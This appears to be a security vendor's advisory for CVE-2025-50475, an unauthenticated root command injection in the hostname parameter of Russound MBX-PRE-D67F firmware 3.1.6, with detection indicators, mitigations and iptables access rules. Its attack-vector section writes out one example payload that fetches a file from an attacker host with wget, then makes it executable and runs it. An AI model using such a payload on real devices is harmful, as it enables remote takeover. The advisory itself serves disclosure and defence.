CVE-2025-50475: Russound MBX-PRE-D67F RCE Vulnerability

CVE-2025-50475 Overview

An OS command injection vulnerability exists in Russound MBX-PRE-D67F firmware version 3.1.6. This vulnerability allows unauthenticated attackers to execute arbitrary commands as root via crafted input to the hostname parameter in network configuration requests. The flaw stems from improper neutralization of special elements used in an OS command (CWE-78) within the network configuration handler, enabling remote code execution with the highest privileges on the affected device.

Critical Impact

Unauthenticated remote attackers can achieve root-level command execution on vulnerable Russound MBX-PRE-D67F devices, potentially leading to complete device compromise, lateral movement within networks, and persistent unauthorized access.

Affected Products

• Russound MBX-PRE-D67F firmware version 3.1.6

Discovery Timeline

• 2025-07-31 - CVE-2025-50475 published to NVD
• 2025-07-31 - Last updated in NVD database

Technical Details for CVE-2025-50475

Vulnerability Analysis

This command injection vulnerability affects the network configuration functionality of Russound MBX-PRE-D67F audio distribution devices running firmware version 3.1.6. The vulnerability exists because user-supplied input to the hostname parameter is passed directly to an operating system command without proper sanitization or validation. This allows attackers to inject shell metacharacters and arbitrary commands that execute with root privileges on the underlying Linux-based system.

The vulnerability is particularly severe because it requires no authentication to exploit. Any attacker with network access to the device's management interface can send malicious requests to trigger command execution. As an embedded IoT device used in home and commercial audio installations, the MBX-PRE-D67F may often be accessible on local networks or, in some misconfigurations, exposed to the internet.

Root Cause

The root cause of this vulnerability is improper neutralization of special elements used in an OS command (CWE-78). The network configuration handler accepts user input for the hostname parameter and incorporates it directly into a shell command without sanitizing or escaping shell metacharacters such as ;, |, &, $(), or backticks. This design flaw allows attackers to break out of the intended command context and append their own arbitrary commands for execution.

Attack Vector

The attack vector is network-based and requires no user interaction or prior authentication. An attacker can send a specially crafted HTTP request to the device's network configuration endpoint containing malicious command injection payloads within the hostname parameter.

A typical attack would involve crafting a hostname value that includes shell metacharacters followed by attacker-controlled commands. For example, an attacker might inject a value like legit-hostname; wget http://attacker.com/malware -O /tmp/payload; chmod +x /tmp/payload; /tmp/payload to download and execute malicious code. Since the commands execute as root, the attacker gains complete control over the device, including the ability to modify firmware, establish persistence, exfiltrate data, or use the device as a pivot point for further attacks within the network.

Technical details and proof-of-concept information are available in the external reference documentation and additional technical details.

Detection Methods for CVE-2025-50475

Indicators of Compromise

• Unexpected outbound network connections from Russound MBX-PRE-D67F devices to unknown external IP addresses
• Unusual process activity on the device such as spawning of shells or download utilities (wget, curl, nc)
• Modified system files or unexpected files appearing in temporary directories on the device
• Network configuration requests containing shell metacharacters (;, |, &, $(, backticks) in the hostname parameter

Detection Strategies

• Deploy network intrusion detection rules to identify HTTP requests to Russound devices containing shell metacharacters in parameters
• Monitor web server access logs for suspicious patterns in network configuration endpoints, particularly requests with unusual hostname values
• Implement network segmentation and monitor for unexpected traffic originating from IoT devices
• Use SentinelOne Singularity to detect anomalous process execution patterns indicative of command injection exploitation

Monitoring Recommendations

• Isolate Russound MBX-PRE-D67F devices on dedicated network segments with limited internet access
• Implement logging at the network perimeter to capture all traffic to and from affected devices
• Configure alerts for any root-level process spawning on IoT devices that deviates from normal operational baselines

How to Mitigate CVE-2025-50475

Immediate Actions Required

• Restrict network access to Russound MBX-PRE-D67F devices by placing them behind firewalls with strict access control lists
• Disable remote management interfaces if not required for operations
• Monitor for vendor security advisories and apply firmware updates as soon as they become available
• Audit network configurations to ensure affected devices are not exposed to untrusted networks or the internet

Patch Information

At the time of publication, no vendor patch has been confirmed. Organizations should monitor Russound's official channels for security updates addressing this vulnerability in firmware versions newer than 3.1.6. Additional vulnerability details may be available in the provided documentation.

Workarounds

• Implement network-level access controls to restrict which hosts can communicate with the device's management interface
• Place affected devices on isolated VLANs with no direct internet connectivity
• Use a firewall or reverse proxy to filter incoming requests and block those containing potentially malicious characters in parameters
• Consider disabling the device's web interface entirely if it is not operationally required

# Example: iptables rules to restrict access to the device management interface
# Allow only specific management hosts
iptables -A INPUT -p tcp --dport 80 -s 192.168.1.100 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -s 192.168.1.101 -j ACCEPT
# Drop all other HTTP traffic to the device
iptables -A INPUT -p tcp --dport 80 -j DROP